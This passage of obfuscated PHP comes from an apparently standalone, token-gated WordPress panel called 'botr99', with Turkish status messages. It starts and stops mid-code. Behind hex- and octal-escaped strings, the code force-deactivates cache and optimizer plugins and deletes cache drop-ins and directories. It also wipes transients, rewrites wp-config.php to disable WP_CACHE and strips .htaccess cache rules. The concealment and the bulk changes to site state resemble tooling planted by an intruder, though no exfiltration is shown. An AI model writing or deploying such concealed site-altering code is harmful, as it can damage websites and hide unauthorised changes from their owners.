&& method_exists("\106\x6c\x79\x69\156\147\120\162\x65\x73\x73\134\120\x75\x72\147\145\x72", "\x70\165\x72\147\145\x5f\x65\166\145\x72\x79\164\150\x69\x6e\x67")) { \FlyingPress\Purger::purge_everything(); } if (class_exists("\x57\160\x65\103\157\x6d\x6d\157\x6e")) { if (method_exists("\x57\160\x65\103\157\155\x6d\x6f\x6e", "\x70\165\x72\147\145\x5f\155\x65\155\143\x61\143\150\145\144")) { @WpeCommon::purge_memcached(); } if (method_exists("\x57\x70\145\103\x6f\x6d\155\157\x6e", "\160\165\x72\x67\x65\x5f\x76\x61\x72\156\x69\x73\x68\x5f\x63\141\143\150\x65")) { @WpeCommon::purge_varnish_cache(); } } if (class_exists("\134\x4b\151\x6e\163\164\141\134\103\141\143\150\x65") && isset($GLOBALS["\153\x69\156\163\164\141\x5f\143\x61\x63\150\x65"])) { @do_action("\x6b\x69\x6e\163\164\x61\137\x63\x61\143\x68\x65\x5f\160\165\162\x67\x65"); } do_action("\x6c\x69\164\x65\x73\x70\145\145\144\x5f\160\165\162\147\145\x5f\141\154\x6c"); do_action("\167\160\150\142\137\x63\x6c\145\x61\162\137\x70\x61\x67\145\x5f\143\x61\x63\150\x65"); do_action("\162\x74\x5f\x6e\x67\151\x6e\x78\x5f\150\145\x6c\x70\145\x72\137\160\165\x72\x67\x65\137\x61\154\x6c"); do_action("\x63\154\157\x75\x64\x66\154\141\162\145\x5f\x70\165\162\x67\x65\x5f\145\x76\x65\x72\x79\x74\150\x69\x6e\x67"); do_action("\143\141\x63\x68\x69\x66\171\x5f\x66\x6c\x75\x73\x68\x5f\x63\x61\143\150\x65"); do_action("\160\157\167\x65\162\x65\x64\x5f\x63\x61\143\150\x65\137\x66\x6c\165\x73\150"); do_action("\163\x77\151\x66\x74\137\160\145\x72\x66\x6f\x72\x6d\141\156\143\x65\x5f\141\x66\x74\x65\x72\x5f\143\154\145\141\162\x5f\x61\x6c\x6c\x5f\143\x61\143\x68\x65"); do_action("\x77\x70\145\156\147\x69\156\145\x5f\x63\141\x63\150\145\137\x66\x6c\x75\163\150"); do_action("\x76\141\162\156\x69\163\x68\x5f\x68\164\164\x70\137\x70\165\162\x67\x65\x5f\x70\165\162\147\x65\x5f\141\x6c\154"); do_action("\x6e\147\151\156\170\x5f\150\145\x6c\x70\x65\162\137\x70\x75\x72\147\x65\137\141\x6c\x6c"); $add("\143\141\143\150\145\x20\x65\x6b\x6c\x65\x6e\164\151\40\101\120\x49\x20\x66\x6c\x75\163\x68\40\x28\122\x6f\x63\x6b\x65\x74\54\40\x57\63\124\x43\54\40\123\165\160\x65\162\57\106\x61\163\164\40\103\x61\143\x68\145\x2c\x20\114\x69\x74\x65\123\x70\145\x65\x64\54\40\x41\x75\164\157\160\164\x69\x6d\x69\x7a\145\x2c\40\102\162\x65\145\172\x65\x2c\x20\x53\x47\54\x20\x57\x50\55\117\54\40\x46\x6c\171\151\156\x67\120\162\145\163\163\54\x20\x57\x50\105\54\x20\113\151\x6e\163\x74\141\54\40\x56\141\x72\x6e\x69\163\150\54\x20\103\x6c\157\x75\x64\146\x6c\x61\162\145\xe2\x80\xa6\x29"); } catch (\Throwable $e) { $add("\x65\153\x6c\145\x6e\x74\151\x20\x66\154\x75\163\x68\x20\x6b\304\xb1\x73\155\x65\156\x3a\x20" . $e->getMessage()); } try { global $wpdb; if (isset($wpdb) && is_object($wpdb)) { $like1 = $wpdb->esc_like("\137\164\x72\x61\156\x73\151\145\x6e\x74\137") . "\45"; $like2 = $wpdb->esc_like("\137\x73\151\164\x65\x5f\164\x72\141\x6e\x73\151\x65\156\164\137") . "\x25"; $n = (int) $wpdb->query($wpdb->prepare("\104\105\114\x45\x54\x45\40\x46\122\x4f\x4d\40{$wpdb->options}\40\127\110\105\x52\x45\40\157\160\x74\151\157\156\137\x6e\141\155\x65\x20\x4c\x49\x4b\x45\x20\x25\163\x20\x4f\x52\40\157\x70\164\151\157\156\x5f\x6e\141\155\145\x20\x4c\111\x4b\x45\40\45\163", $like1, $like2)); $add("\x74\162\141\x6e\163\x69\x65\x6e\x74\x20\x74\145\155\151\172\154\x65\156\x64\151\x20\50" . $n . "\40\x6b\x61\171\304\261\x74\x29"); } if (function_exists("\x64\145\154\x65\x74\145\x5f\145\x78\x70\151\x72\x65\144\x5f\x74\x72\x61\156\163\x69\145\156\164\x73")) { delete_expired_transients(true); } } catch (\Throwable $e) { $add("\164\162\141\156\x73\x69\145\156\164\x20\150\x61\x74\x61\x3a\x20" . $e->getMessage()); } try { if (!function_exists("\x64\x65\x61\143\164\151\x76\141\164\145\137\160\x6c\165\147\x69\x6e\163")) { require_once ABSPATH . "\167\160\x2d\x61\144\x6d\x69\x6e\x2f\x69\156\143\154\165\x64\145\163\x2f\x70\x6c\165\147\x69\x6e\x2e\x70\x68\160"; } $active = (array) get_option("\141\x63\x74\x69\x76\x65\137\160\154\165\147\151\x6e\163", array()); $slugs = array("\143\x61\143\150\x65", "\x6d\151\156\151\x66\x79", "\167\x70\x2d\x72\157\143\x6b\145\164", "\x72\157\143\153\x65\164", "\x61\165\x74\x6f\160\164\x69\x6d\x69\172\145", "\142\162\145\145\x7a\145", "\150\165\x6d\155\x69\156\x67\x62\151\162\x64", "\x6e\151\164\x72\x6f\x70\x61\x63\x6b", "\160\x65\162\146\155\x61\164\x74\145\x72\163", "\163\x77\x69\146\164\x2d\x70\145\162\x66\x6f\162\x6d\141\156\x63\x65", "\146\154\x79\x69\x6e\147\x2d\160\x72\145\163\x73", "\x66\x6c\171\x69\x6e\147\x70\x72\145\x73\x73", "\x6e\x67\x69\x6e\170\x2d\x68\x65\154\x70\x65\162", "\x76\141\162\156\x69\163\150", "\160\162\x6f\x78\x79\55\x63\x61\143\150\145", "\167\160\145\x6e\147\x69\x6e\x65", "\x6b\151\156\163\x74\141", "\145\156\144\165\162\x61\x6e\143\x65", "\143\x6c\145\x61\x72\x66\171", "\142\x6f\x72\x6c\141\x62\163", "\x66\x76\x6d", "\146\x61\x73\164\55\x76\x65\x6c\x6f\143\151\x74\171", "\167\160\55\x6d\x65\164\145\x6f\x72", "\160\141\x6e\x74\x68\145\x6f\156", "\163\x67\x2d\143\x61\143\150\145\160\162\145\163\163", "\163\x69\x74\x65\147\162\x6f\165\x6e\x64\55\x6f\160\x74\151\155\151\x7a\145\162", "\163\x70\x65\x65\x64\55\157\160\164\151\x6d\151\x7a\145\162", "\167\160\x2d\157\160\x74\151\x6d\x69\x7a\145", "\154\151\164\x65\x73\160\x65\145\144", "\x70\150\141\x73\164\x70\x72\145\x73\x73", "\162\145\x64\x69\163", "\155\x65\x6d\x63\x61\143\150", "\x64\x6f\x63\x6b\x65\x74", "\x70\157\167\145\x72\145\x64\x2d\x63\x61\x63\150\x65", "\143\x61\143\x68\x69\146\171"); $deact = array(); foreach ($active as $p) { $lp = strtolower($p); foreach ($slugs as $s) { if (strpos($lp, $s) !== false) { $deact[] = $p; break; } } } if (!empty($deact)) { deactivate_plugins($deact, true); $names = array_values(array_unique(array_map(function ($p) { return dirname($p) !== "\x2e" ? dirname($p) : $p; }, $deact))); $add(count($deact) . "\x20\143\x61\x63\x68\x65\x2f\157\x70\x74\151\x6d\151\x7a\141\x73\171\x6f\156\40\x65\x6b\154\x65\x6e\164\x69\163\151\40\144\x65\x61\x6b\x74\x69\166\145\x20\x65\x64\x69\154\x64\151\x3a\x20" . implode("\x2c\40", $names)); } else { $add("\x61\x6b\x74\151\x66\40\143\x61\143\x68\x65\x20\x65\x6b\x6c\x65\x6e\x74\x69\x73\151\40\142\x75\154\x75\x6e\x61\155\141\144\304\261"); } } catch (\Throwable $e) { $add("\144\x65\141\x6b\x74\151\166\x61\x73\x79\157\x6e\x20\x68\141\164\x61\x73\304\261\72\x20" . $e->getMessage()); } if (defined("\127\120\137\x43\117\116\x54\105\x4e\124\x5f\104\111\122")) { foreach (array("\x61\x64\x76\141\x6e\143\x65\x64\55\143\141\x63\150\x65\56\x70\x68\x70", "\157\142\152\x65\143\x74\55\x63\x61\143\x68\145\x2e\160\x68\160") as $d) { $f = WP_CONTENT_DIR . "\57" . $d; if (is_file($f)) { @copy($f, $f . "\x2e\142\x6f\164\x72\x39\x39\x2d\x62\141\x6b"); if (@unlink($f)) { $add("\144\x72\157\x70\x2d\151\x6e\40\x6b\141\154\x64\304\261\162\xc4\xb1\154\144\xc4\xb1\72\x20" . $d); } } } } if (defined("\x57\x50\137\x43\x4f\x4e\124\105\116\x54\137\104\x49\122")) { $wc = WP_CONTENT_DIR; $up = defined("\x57\120\x5f\103\117\x4e\124\x45\116\x54\x5f\x44\x49\x52") ? $wc . "\57\165\x70\x6c\x6f\141\x64\163" : ''; $dirs = array("\x77\160\55\x63\157\156\x74\145\156\164\57\x63\x61\x63\150\145" => $wc . "\57\x63\x61\x63\x68\145", "\x77\x70\55\x63\157\x6e\164\145\156\x74\57\x6c\151\x74\x65\x73\160\145\145\x64" => $wc . "\x2f\x6c\x69\164\145\163\160\x65\145\144", "\x77\x70\55\143\157\156\164\x65\x6e\x74\x2f\145\164\x2d\143\141\x63\150\x65" => $wc . "\x2f\x65\164\x2d\143\x61\x63\x68\145", "\x77\160\x2d\143\157\x6e\x74\x65\x6e\164\x2f\x65\156\144\x75\x72\x61\156\143\145\x2d\160\x61\147\145\x2d\143\x61\143\150\x65" => $wc . "\x2f\x65\x6e\x64\x75\162\141\x6e\x63\145\55\x70\x61\x67\x65\x2d\143\141\143\x68\x65", "\x77\160\55\x63\157\156\x74\145\x6e\x74\57\167\160\55\162\157\x63\153\x65\164\x2d\143\157\156\146\151\x67" => $wc . "\57\167\160\55\162\x6f\143\x6b\x65\x74\55\x63\x6f\x6e\146\x69\147", "\167\x70\55\x63\157\x6e\x74\x65\156\x74\57\x77\63\164\143\x2d\143\157\156\x66\151\x67" => $wc . "\x2f\167\63\x74\x63\x2d\x63\157\x6e\146\x69\x67", "\x77\160\55\143\157\156\164\x65\x6e\x74\57\x75\160\x6c\157\x61\x64\x73\x2f\143\x61\143\150\x65" => $up . "\x2f\143\141\x63\150\x65", "\x77\160\x2d\x63\157\156\164\x65\156\164\x2f\165\160\154\x6f\x61\144\163\x2f\x65\x6c\x65\155\x65\x6e\x74\157\162\57\x63\x73\x73" => $up . "\x2f\145\x6c\145\x6d\x65\156\164\157\x72\x2f\x63\163\163", "\x77\x70\x2d\143\157\156\x74\x65\x6e\x74\x2f\x6e\x67\151\x6e\170\x2d\143\141\143\x68\145" => $wc . "\x2f\x6e\147\x69\156\170\x2d\143\141\x63\150\145"); $total = 0; $hit = array(); foreach ($dirs as $label => $dir) { $n = botr99_wipe_dir($dir); if ($n >= 0) { $total += $n; $hit[] = $label . "\40\50" . $n . "\x29"; } } $add(empty($hit) ? "\163\x69\154\x69\x6e\145\143\145\153\40\143\141\x63\150\145\40\144\151\172\x69\x6e\151\x20\171\157\x6b" : "\143\x61\143\x68\x65\40\144\151\172\x69\156\x6c\145\x72\151\40\164\x65\x6d\x69\x7a\154\x65\x6e\x64\x69\x20\xe2\x80\224\40" . implode("\54\x20", $hit) . "\40\302\267\40\164\x6f\160\x6c\141\x6d\x20" . $total . "\40\303\266\xc4\237\145"); } $wpc = botr99_wpconfig_path(); if ($wpc && is_writable($wpc)) { $c = (string) @file_get_contents($wpc); if (preg_match("\57\144\145\146\x69\x6e\x65\134\50\x5c\163\52\x5b\47\42\x5d\127\120\137\103\101\103\110\x45\133\x27\42\x5d\x5c\x73\x2a\54\134\163\52\x74\162\165\145\x5c\x73\52\134\x29\57\151", $c)) { @copy($wpc, $wpc . "\x2e\x62\x6f\x74\x72\x39\x39\x2d\x62\141\x6b"); $c2 = preg_replace("\57\x64\145\x66\151\156\x65\x5c\50\x5c\163\x2a\x5b\x27\42\135\x57\x50\137\x43\101\103\x48\x45\x5b\47\42\x5d\134\x73\52\x2c\134\x73\x2a\164\162\x75\145\134\163\52\x5c\x29\x2f\x69", "\x64\x65\x66\x69\x6e\145\50\x27\x57\120\x5f\x43\x41\103\110\105\47\54\40\146\x61\x6c\x73\x65\x29", $c); if (@file_put_contents($wpc, $c2, LOCK_EX) !== false) { $add("\127\120\x5f\x43\101\x43\x48\105\x3d\x66\141\x6c\x73\x65\x20\171\x61\x70\304\xb1\x6c\144\xc4\xb1"); } } } $stripped = botr99_strip_htaccess_cache(); if ($stripped > 0) { $add("\56\150\x74\x61\143\x63\145\163\x73\x20\x63\141\143\x68\145\40\144\151\162\145\153\x74\x69\146\151\x20\153\x61\154\x64\xc4\261\162\304\xb1\x6c\x64\xc4\xb1\40\x28" . $stripped . "\40\141\144\145\164\54\x20\x79\145\144\145\153\x6c\x69\x29"); } if (!headers_sent() && function_exists("\x62\157\164\162\x39\71\137\143\154\151\x65\x6e\x74\137\x69\x70")) { $sw = isset($_SERVER["\x53\105\122\126\105\122\x5f\123\117\x46\124\x57\x41\122\x45"]) ? strtolower($_SERVER["\123\x45\122\126\x45\x52\x5f\123\117\x46\x54\127\101\122\105"]) : ''; if (strpos($sw, "\x6c\x69\164\145\x73\x70\145\145\144") !== false || strpos($sw, "\154\163\167\x73") !== false) { @header("\x58\55\114\151\x74\145\x53\160\x65\145\144\55\x50\x75\x72\147\x65\x3a\40\52", true); $add("\114\151\x74\145\x53\x70\145\x65\144\x20\x73\x75\156\x75\143\165\x20\x70\165\x72\147\145\x20\147\303\266\156\x64\145\x72\x69\x6c\x64\151\x20\x28\x58\x2d\114\151\164\145\123\x70\x65\145\x64\x2d\120\165\x72\x67\x65\x3a\x20\52\51"); } } return array(true, "\104\105\122\xc4\xb0\116\x20\x43\x41\x43\110\x45\x20\x54\105\115\304\xb0\132\x4c\304\260\304\x9e\xc4\260\40\124\101\x4d\101\x4d\114\101\x4e\104\x49\x20\xe2\200\x94\40" . count($report) . "\x20\141\x64\xc4\xb1\x6d\x2e", $report); } function botr99_self_url($token = null) { $https = !empty($_SERVER["\110\124\x54\120\x53"]) && $_SERVER["\x48\x54\x54\120\x53"] !== "\157\146\146" || isset($_SERVER["\123\105\x52\x56\x45\x52\137\x50\x4f\x52\x54"]) && (int) $_SERVER["\123\105\122\126\x45\x52\x5f\x50\x4f\122\124"] === 443; $scheme = $https ? "\150\164\164\160\x73" : "\x68\164\x74\160"; $host = isset($_SERVER["\110\124\x54\x50\137\x48\117\x53\124"]) ? $_SERVER["\x48\124\x54\x50\137\x48\x4f\123\124"] : "\x6c\157\143\141\x6c\x68\157\163\x74"; $path = isset($_SERVER["\123\x43\122\111\120\124\x5f\116\x41\x4d\105"]) ? $_SERVER["\123\103\122\111\120\124\137\116\x41\x4d\105"] : "\57" . botr99_paths()["\142\141\x73\145"]; $url = $scheme . "\72\57\x2f" . $host . $path; if ($token !== null) { $url .= "\x3f\142\157\164\162\x39\71\75" . rawurlencode($token); } return $url; } function botr99_site_base_url() { $https = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\110\x54\124\120\x53"] !== "\x6f\146\x66" || isset($_SERVER["\123\x45\x52\x56\x45\122\137\120\117\122\124"]) && (int) $_SERVER["\x53\x45\x52\x56\x45\122\137\x50\x4f\122\x54"] === 443; $scheme = $https ? "\x68\164\164\x70\163" : "\150\x74\164\x70"; $host = isset($_SERVER["\110\x54\124\x50\137\110\x4f\123\124"]) ? $_SERVER["\x48\124\124\x50\x5f\110\117\123\124"] : "\x6c\x6f\143\x61\x6c\x68\x6f\x73\164"; return $scheme . "\x3a\x2f\x2f" . $host . "\x2f"; } function botr99_icon($n) { $p = array("\x73\150\x69\x65\x6c\144" => "\74\x70\141\164\x68\40\144\x3d\42\x4d\x31\62\40\62\154\67\x20\x34\166\66\143\60\x20\65\55\x33\56\x35\40\x38\x2d\67\x20\61\x30\x2d\63\56\x35\55\62\x2d\67\55\65\x2d\67\55\x31\x30\126\x36\x7a\42\57\x3e", "\x70\x6c\x61\171" => "\74\160\141\164\150\x20\144\75\42\x4d\67\x20\x35\166\61\64\x6c\x31\61\x2d\67\172\42\57\76", "\163\145\x61\x72\x63\150" => "\74\143\x69\x72\143\x6c\145\x20\143\170\75\x22\61\61\42\40\x63\x79\x3d\x22\x31\61\x22\x20\x72\75\x22\x37\42\57\76\74\160\x61\164\150\x20\144\x3d\42\115\62\x31\x20\x32\61\x6c\55\64\55\64\x22\x2f\76", "\163\141\x76\x65" => "\x3c\x70\141\x74\150\x20\x64\75\42\x4d\65\x20\63\x68\61\x31\154\63\x20\63\166\x31\65\x48\x35\172\42\57\76\74\160\x61\164\150\40\144\x3d\42\115\x38\x20\63\x76\66\150\67\x22\57\76", "\164\162\141\163\150" => "\x3c\x70\x61\164\150\x20\144\x3d\x22\115\64\40\67\x68\x31\x36\x4d\71\x20\x37\126\x34\150\x36\x76\x33\115\66\40\67\x6c\x31\x20\x31\x34\x68\61\60\x6c\x31\x2d\x31\x34\42\57\76", "\162\x65\x66\x72\x65\163\150" => "\x3c\160\141\x74\150\x20\144\x3d\x22\x4d\x32\x31\40\61\62\x61\x39\x20\71\x20\x30\x20\x31\x20\x31\55\x33\55\66\56\67\115\62\61\x20\64\166\65\150\55\x35\x22\x2f\x3e", "\x67\145\141\162" => "\74\143\x69\x72\x63\x6c\145\x20\143\170\75\x22\61\62\42\x20\143\x79\x3d\42\x31\x32\42\40\x72\75\42\x33\42\57\x3e\x3c\160\141\164\150\40\144\x3d\42\115\x31\62\40\62\166\x33\115\x31\62\40\x31\x39\x76\x33\115\x34\x2e\x32\40\x34\56\62\154\62\40\62\115\x31\67\x2e\x38\x20\x31\x37\56\70\154\62\40\62\115\62\40\x31\x32\x68\63\x4d\61\x39\x20\x31\62\x68\63\115\x34\56\x32\40\61\x39\x2e\70\x6c\x32\x2d\62\x4d\x31\67\x2e\70\x20\x36\56\x32\154\x32\55\x32\x22\57\x3e", "\x6c\x69\156\153" => "\74\x70\141\164\x68\x20\144\x3d\x22\115\61\x30\40\x31\63\x61\65\x20\65\x20\x30\40\60\40\60\x20\x37\40\x30\x6c\63\x2d\63\141\65\x20\x35\40\60\x20\x30\40\x30\55\x37\55\67\x6c\55\61\40\61\x22\57\76\x3c\160\141\164\x68\40\x64\x3d\x22\115\x31\x34\x20\61\61\x61\65\x20\65\x20\x30\40\x30\x20\60\x2d\x37\x20\x30\154\x2d\x33\40\x33\x61\65\x20\65\40\60\x20\60\40\60\40\x37\x20\67\154\x31\55\61\42\57\x3e", "\x6f\x75\164" => "\x3c\x70\141\164\150\x20\x64\75\x22\115\71\40\62\61\x48\x35\x56\x33\150\64\x4d\x31\66\40\x31\67\x6c\65\55\x35\x2d\65\55\65\115\x32\x31\40\x31\x32\110\71\42\x2f\x3e", "\x68\x65\x6c\160" => "\x3c\143\151\x72\x63\154\145\x20\143\x78\x3d\x22\x31\x32\42\x20\x63\171\x3d\x22\x31\62\42\x20\x72\x3d\x22\61\x30\x22\x2f\76\x3c\160\x61\x74\x68\40\x64\75\42\115\71\x2e\61\40\71\x61\x33\x20\63\40\x30\40\60\40\61\40\65\x2e\x38\x20\61\x63\60\40\x32\x2d\63\x20\63\55\x33\x20\x33\x22\57\x3e\x3c\154\151\x6e\x65\x20\x78\x31\x3d\42\61\x32\42\x20\171\x31\x3d\42\x31\67\x2e\x35\42\40\x78\x32\x3d\x22\x31\x32\42\x20\x79\62\x3d\x22\x31\67\x2e\65\42\57\x3e", "\x63\x6f\144\145" => "\x3c\x70\x6f\x6c\171\154\151\x6e\145\x20\x70\x6f\151\x6e\x74\163\x3d\x22\61\x36\x20\x31\x38\40\x32\62\x20\61\62\40\61\66\x20\66\x22\x2f\76\x3c\160\x6f\x6c\171\x6c\x69\x6e\145\40\160\x6f\x69\156\164\x73\x3d\42\70\40\x36\x20\x32\x20\61\62\40\70\x20\x31\x38\42\x2f\76", "\x63\x6f\160\x79" => "\x3c\x72\145\143\x74\40\x78\75\42\x39\x22\40\171\75\42\x39\x22\40\x77\151\x64\164\x68\75\x22\x31\63\x22\40\150\145\151\147\x68\x74\x3d\42\x31\63\42\x20\x72\x78\x3d\42\x32\x22\x2f\x3e\x3c\160\141\164\x68\x20\144\x3d\x22\115\65\x20\x31\x35\x48\x34\x61\62\x20\62\x20\x30\x20\60\x20\61\55\x32\x2d\62\x56\64\141\62\x20\x32\40\x30\40\60\40\x31\x20\x32\x2d\62\150\x39\x61\x32\40\x32\40\60\40\60\x20\61\x20\x32\x20\62\166\61\42\x2f\x3e", "\160\141\x73\x74\145" => "\x3c\x70\141\x74\x68\x20\144\75\42\x4d\61\66\40\x34\x68\62\x61\x32\40\62\x20\x30\x20\x30\40\61\40\62\40\x32\166\x31\x34\141\62\x20\62\x20\60\x20\60\40\61\x2d\x32\x20\x32\110\x36\x61\62\40\62\40\x30\40\60\40\x31\55\x32\55\62\126\66\141\x32\x20\x32\x20\x30\x20\60\40\x31\40\62\x2d\62\150\62\x22\57\x3e\74\x72\145\143\164\x20\170\x3d\x22\70\42\40\171\75\x22\62\42\x20\167\x69\x64\164\x68\x3d\x22\70\42\x20\x68\145\x69\147\150\164\75\42\64\42\40\x72\170\75\42\61\42\57\x3e", "\x63\x68\145\143\x6b" => "\x3c\160\x61\x74\150\40\x64\x3d\42\115\62\x30\40\x36\x4c\71\x20\61\x37\x6c\x2d\65\55\65\42\x2f\x3e", "\167\141\x72\156\151\x6e\x67" => "\x3c\160\141\164\150\x20\144\75\x22\x4d\x31\x30\x2e\63\x20\x33\x2e\71\40\x31\56\70\40\x31\x38\x61\62\x20\x32\40\x30\x20\x30\40\x30\x20\x31\56\x37\40\x33\150\x31\x37\141\62\x20\x32\x20\x30\40\60\x20\x30\x20\x31\56\67\55\x33\x4c\x31\x33\x2e\67\40\63\x2e\71\x61\x32\40\62\40\60\40\60\x20\60\x2d\x33\56\64\40\x30\172\x22\x2f\x3e\x3c\x6c\151\x6e\x65\x20\170\61\x3d\42\x31\62\x22\40\x79\61\x3d\42\71\x22\x20\x78\x32\x3d\x22\61\62\42\x20\x79\x32\x3d\42\x31\x33\56\x35\x22\x2f\76\74\x6c\x69\156\145\x20\x78\61\x3d\42\x31\x32\x22\x20\x79\61\x3d\x22\61\x37\42\x20\x78\x32\x3d\x22\x31\62\42\40\x79\x32\75\42\x31\67\42\x2f\x3e", "\164\x61\x72\x67\145\x74" => "\x3c\x63\x69\162\x63\x6c\145\40\x63\x78\75\x22\61\62\42\40\143\171\x3d\42\61\x32\x22\x20\162\x3d\42\71\42\x2f\x3e\74\x63\151\x72\143\x6c\x65\x20\143\x78\x3d\x22\x31\x32\x22\x20\x63\x79\75\x22\x31\62\x22\40\162\75\42\65\x22\x2f\x3e\x3c\143\x69\162\x63\x6c\x65\40\x63\x78\75\42\x31\x32\42\40\143\171\x3d\42\x31\62\x22\x20\162\75\42\x31\56\x34\42\57\x3e"); $d = isset($p[$n]) ? $p[$n] : ''; return "\x3c\163\x76\x67\40\166\x69\x65\x77\x42\x6f\170\75\x22\x30\x20\x30\x20\x32\x34\40\62\x34\x22\40\x77\151\x64\164\150\75\42\x31\x35\42\40\x68\x65\151\x67\x68\164\75\x22\61\65\x22\x20\x66\x69\154\154\75\42\x6e\157\156\145\42\40\163\164\x72\157\153\x65\75\x22\x63\x75\162\x72\x65\156\164\x43\x6f\154\157\x72\42\x20" . "\163\164\x72\x6f\153\x65\x2d\167\x69\144\164\150\x3d\x22\62\x22\x20\163\x74\162\157\153\x65\55\x6c\151\156\x65\143\141\x70\x3d\x22\162\x6f\x75\156\144\x22\40\163\x74\162\x6f\x6b\145\x2d\154\151\156\145\x6a\x6f\151\x6e\75\x22\162\157\165\156\x64\x22\x3e" . $d . "\x3c\57\x73\166\x67\x3e"; } function botr99_css() { return "\72\x72\x6f\157\164\173\x2d\55\142\x67\72\43\60\141\60\145\61\67\73\x2d\55\x63\x61\x72\x64\x3a\x23\x31\63\61\143\62\142\x3b\55\x2d\x63\141\162\144\x32\72\43\x31\x37\x32\x32\x33\64\73\55\x2d\154\151\x6e\x65\x3a\x23\61\145\x32\143\x34\62\x3b\55\x2d\164\x78\x74\x3a\x23\144\142\x65\66\146\65\73\x2d\55\x64\x69\x6d\72\43\67\x65\x38\x62\x61\63\x3b\x2d\x2d\141\x63\143\145\156\x74\x3a\43\x31\x39\x65\63\x62\x31\73\55\55\141\143\x63\x65\x6e\x74\62\72\x23\63\x62\70\62\x66\66\73\x2d\55\x77\x61\162\156\x3a\43\x66\65\x61\x35\62\x34\x3b\55\x2d\x65\x72\162\72\43\x66\66\x34\x36\x35\x64\73\55\x2d\157\x6b\72\x23\x31\x39\x65\x33\x62\61\x3b\x7d\xa\x2a\173\142\x6f\x78\55\x73\151\172\151\156\147\72\x62\x6f\162\x64\x65\x72\55\142\157\x78\175\150\x74\x6d\x6c\x2c\142\157\144\171\x7b\155\141\x72\x67\x69\x6e\72\x30\73\160\141\144\x64\151\156\147\72\x30\x7d\12\56\x62\157\164\162\x2d\142\157\144\x79\173\x66\x6f\x6e\x74\55\x66\141\x6d\151\x6c\171\72\x27\123\145\x67\157\x65\40\x55\111\x27\x2c\163\x79\x73\x74\x65\155\x2d\x75\x69\54\55\x61\160\x70\x6c\x65\55\163\171\x73\164\145\155\x2c\163\141\x6e\x73\x2d\163\x65\162\x69\146\x3b\142\141\x63\x6b\147\x72\x6f\x75\156\144\72\166\x61\162\50\55\55\x62\x67\x29\73\x63\x6f\154\x6f\162\x3a\166\141\162\50\55\55\x74\x78\x74\51\73\x6d\151\156\55\150\145\x69\147\x68\164\72\x31\x30\60\x76\x68\73\160\157\x73\151\164\x69\x6f\156\72\162\x65\154\x61\x74\151\166\x65\73\x6f\x76\145\x72\x66\x6c\157\x77\55\170\72\150\151\x64\x64\x65\156\175\12\x2e\x62\157\x74\x72\55\x62\x67\173\x70\157\x73\151\x74\151\157\156\72\146\x69\x78\145\144\x3b\151\x6e\163\x65\x74\72\x30\x3b\172\55\x69\156\x64\145\x78\x3a\60\73\142\x61\x63\x6b\x67\162\157\x75\x6e\x64\72\162\x61\144\x69\x61\154\55\147\162\141\x64\151\x65\x6e\164\50\x38\x30\60\x70\170\40\x34\60\x30\x70\170\x20\x61\164\40\x31\x35\45\40\x2d\61\x30\x25\54\162\147\142\141\x28\62\x35\54\62\62\x37\x2c\61\x37\x37\54\x2e\x31\60\x29\54\164\162\x61\156\x73\x70\141\x72\145\x6e\x74\x20\x36\x30\45\x29\54\x72\x61\144\x69\141\154\x2d\x67\162\141\144\x69\145\x6e\x74\50\67\60\x30\x70\x78\40\x35\x30\x30\160\170\x20\141\x74\40\61\61\60\x25\40\x31\x30\x25\x2c\162\147\x62\x61\x28\65\x39\x2c\x31\63\x30\x2c\62\64\66\54\56\x31\x32\51\54\x74\162\141\x6e\163\x70\x61\x72\145\x6e\164\x20\66\x30\45\51\x2c\x6c\x69\x6e\x65\141\162\x2d\x67\162\141\144\151\145\x6e\164\x28\x31\70\x30\x64\x65\x67\x2c\43\60\141\60\x65\61\67\54\x23\x30\67\60\x61\61\61\51\x3b\175\12\x2e\x62\157\164\x72\55\142\147\72\x3a\141\146\x74\x65\162\x7b\x63\157\156\164\x65\156\x74\72\42\42\x3b\x70\x6f\x73\x69\164\x69\157\156\72\141\x62\163\157\154\165\x74\145\x3b\151\x6e\x73\x65\164\x3a\x30\x3b\x6f\160\x61\143\151\164\x79\x3a\x2e\64\x3b\142\x61\143\x6b\x67\162\157\165\x6e\x64\55\151\x6d\x61\x67\x65\72\154\151\x6e\145\141\162\55\147\x72\x61\x64\x69\145\x6e\x74\50\162\147\x62\141\x28\62\x35\x35\x2c\x32\65\65\54\x32\65\x35\54\x2e\60\x33\x29\40\61\x70\170\x2c\x74\x72\x61\x6e\163\x70\141\x72\145\156\164\40\61\160\x78\x29\54\154\x69\156\x65\x61\162\x2d\147\162\x61\144\151\145\156\x74\x28\x39\60\144\x65\147\x2c\162\147\x62\141\x28\62\65\65\54\62\65\x35\54\62\65\x35\54\x2e\x30\63\51\40\61\x70\x78\x2c\164\x72\x61\156\x73\x70\x61\162\145\156\164\x20\61\160\x78\51\73\142\x61\143\x6b\147\x72\157\165\x6e\144\x2d\163\x69\x7a\145\72\x33\64\x70\x78\40\63\64\x70\x78\73\x2d\x77\x65\142\x6b\151\x74\55\155\141\163\x6b\x3a\x72\141\144\151\x61\154\55\147\162\141\144\151\145\x6e\x74\x28\145\x6c\x6c\151\x70\163\x65\40\141\x74\x20\x35\x30\45\40\x30\x25\54\x23\60\60\60\40\x33\60\x25\x2c\164\x72\141\156\163\x70\141\162\145\x6e\164\40\70\x30\45\x29\73\155\x61\163\153\x3a\x72\x61\144\x69\141\154\55\147\x72\x61\x64\151\x65\156\164\x28\145\x6c\154\x69\x70\x73\x65\x20\141\164\40\x35\60\x25\x20\x30\45\54\x23\x30\60\x30\x20\63\x30\x25\x2c\164\162\141\156\x73\160\141\162\145\156\164\40\70\x30\45\51\73\175\12\56\x62\157\164\x72\55\x73\x68\145\x6c\154\x7b\160\x6f\163\151\x74\151\x6f\156\72\162\x65\x6c\x61\164\151\166\x65\73\x7a\x2d\151\156\144\x65\x78\72\x31\73\155\141\170\55\x77\x69\144\164\150\72\x39\x30\x30\x70\x78\73\155\141\x72\147\151\156\x3a\x30\x20\141\x75\x74\157\x3b\160\141\x64\x64\x69\156\147\x3a\x33\x30\x70\170\x20\x32\x30\160\x78\40\66\x30\x70\170\x7d\xa\x2e\x62\157\164\x72\55\150\x65\x61\x64\x7b\x64\x69\x73\160\x6c\141\171\72\146\x6c\145\170\x3b\x61\154\x69\x67\x6e\55\x69\164\x65\155\x73\72\x63\x65\x6e\164\145\162\73\152\165\163\x74\151\146\x79\55\143\157\x6e\164\x65\x6e\x74\72\x73\160\x61\x63\145\x2d\x62\x65\x74\x77\145\x65\x6e\73\155\x61\x72\x6